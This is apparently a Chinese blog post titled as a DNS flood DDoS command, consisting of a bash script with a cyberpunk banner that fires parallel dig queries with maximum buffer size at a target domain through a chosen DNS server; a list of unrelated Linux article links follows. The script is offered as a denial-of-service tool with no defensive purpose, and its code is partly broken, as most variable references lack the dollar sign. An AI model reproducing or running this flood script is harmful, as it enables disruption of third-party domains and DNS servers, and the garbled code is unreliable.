dns形式的floodddos命令

#!/bin/bash

赛博朋克风格终端颜色定义

RED="\033[1;31m"

GREEN="\033[1;32m"

YELLOW="\033[1;33m"

BLUE="\033[1;34m"

MAGENTA="\033[1;35m"

CYAN="\033[1;36m"

RESET="\033[0m"

脚本参数配置 - 按需修改

TARGET_DOMAIN="example.com" # 目标域名

DNS_SERVER="8.8.8.8" # 指定DNS服务器(可选)

MAX_THREADS=15 # 并行线程数

MAX_BUFSIZE=65535 # UDP数据包最大尺寸(65535字节)

QUERY_TYPE="A" # DNS查询类型(A/AAAA/CNAME等)

赛博朋克风格启动横幅

clear

echo -e "{MAGENTA}============================================={RESET}"

echo -e "{CYAN} ██████╗ ██╗ ██╗██████╗ ███████╗{RESET}"

echo -e "{CYAN} ██╔══██╗██║ ██║██╔══██╗██╔════╝{RESET}"

echo -e "{CYAN} ██████╔╝██║ ██║██████╔╝█████╗ {RESET}"

echo -e "{CYAN} ██╔══██╗██║ ██║██╔══██╗██╔══╝ {RESET}"

echo -e "{CYAN} ██████╔╝╚██████╔╝██████╔╝███████╗{RESET}"

echo -e "{MAGENTA}============================================={RESET}"

echo -e "{YELLOW}\[+\] CYBER DIG BRUTE FORCE - MULTI THREAD MODE{RESET}"

echo -e "{YELLOW}\[+\] TARGET : {RED}{TARGET_DOMAIN}{RESET}"

echo -e "{YELLOW}\[+\] DNS SERVER: {RED}{DNS_SERVER}{RESET}"

echo -e "{YELLOW}\[+\] THREADS : {RED}{MAX_THREADS}{RESET}"

echo -e "{YELLOW}\[+\] BUFSIZE : {RED}{MAX_BUFSIZE} BYTES{RESET}"

echo -e "{MAGENTA}============================================={RESET}"

sleep 2

生成线程任务列表并执行多线程dig

seq $MAX_THREADS 生成1~15的序列,xargs -P 指定并行数

seq {MAX_THREADS} \| xargs -I {} -P {MAX_THREADS} bash -c '

子线程执行dig命令,-b 设置数据包大小,+short 简化输出

dig @{DNS_SERVER} {TARGET_DOMAIN} {QUERY_TYPE} +bufsize={MAX_BUFSIZE} +short

echo -e "{GREEN}\[THREAD 1] {BLUE}QUERY COMPLETE - BUFSIZE: {MAX_BUFSIZE}${RESET}"

' _ {}

脚本结束提示

echo -e "\n{MAGENTA}\[+\] ALL THREADS FINISHED - CYBER DIG MISSION COMPLETE{RESET}"

相关推荐
zzzsde16 小时前
【Linux】基础开发工具(6):版本控制器git&&调试器gdb/cgdb
linux·运维·服务器
努力的小帅16 小时前
Linux_网络基础(1)
linux·网络·网络协议
忧郁的Mr.Li16 小时前
Linux下MySQL8的密码忘记之后重置密码
linux·运维·mysql
叫我辉哥e116 小时前
### Linux命令创意组合大赛技术文章大纲
linux·运维·服务器
EverydayJoy^v^16 小时前
RH134学习进程——九.访问网络附加存储
linux·网络·学习
zhojiew16 小时前
在Lambda函数中编写和部署MCP服务器的方法
运维·ai·aws
liulilittle16 小时前
ISIF-COP香港服务器,启用OPENPPP2 VMUX全双工
运维·服务器·网络·信息与通信·通信
杜子不疼.16 小时前
【Linux】基础IO(四):用户缓冲区深度解析
linux·运维·服务器·开发语言
海盗123416 小时前
Linux下 vim(vi)编辑器的使用-各种模式介绍
linux·编辑器·vim
春日见16 小时前
三分钟安装window Docker,并与Ubuntu(WSL)建立连接
linux·人工智能·windows·驱动开发·机器学习·docker·容器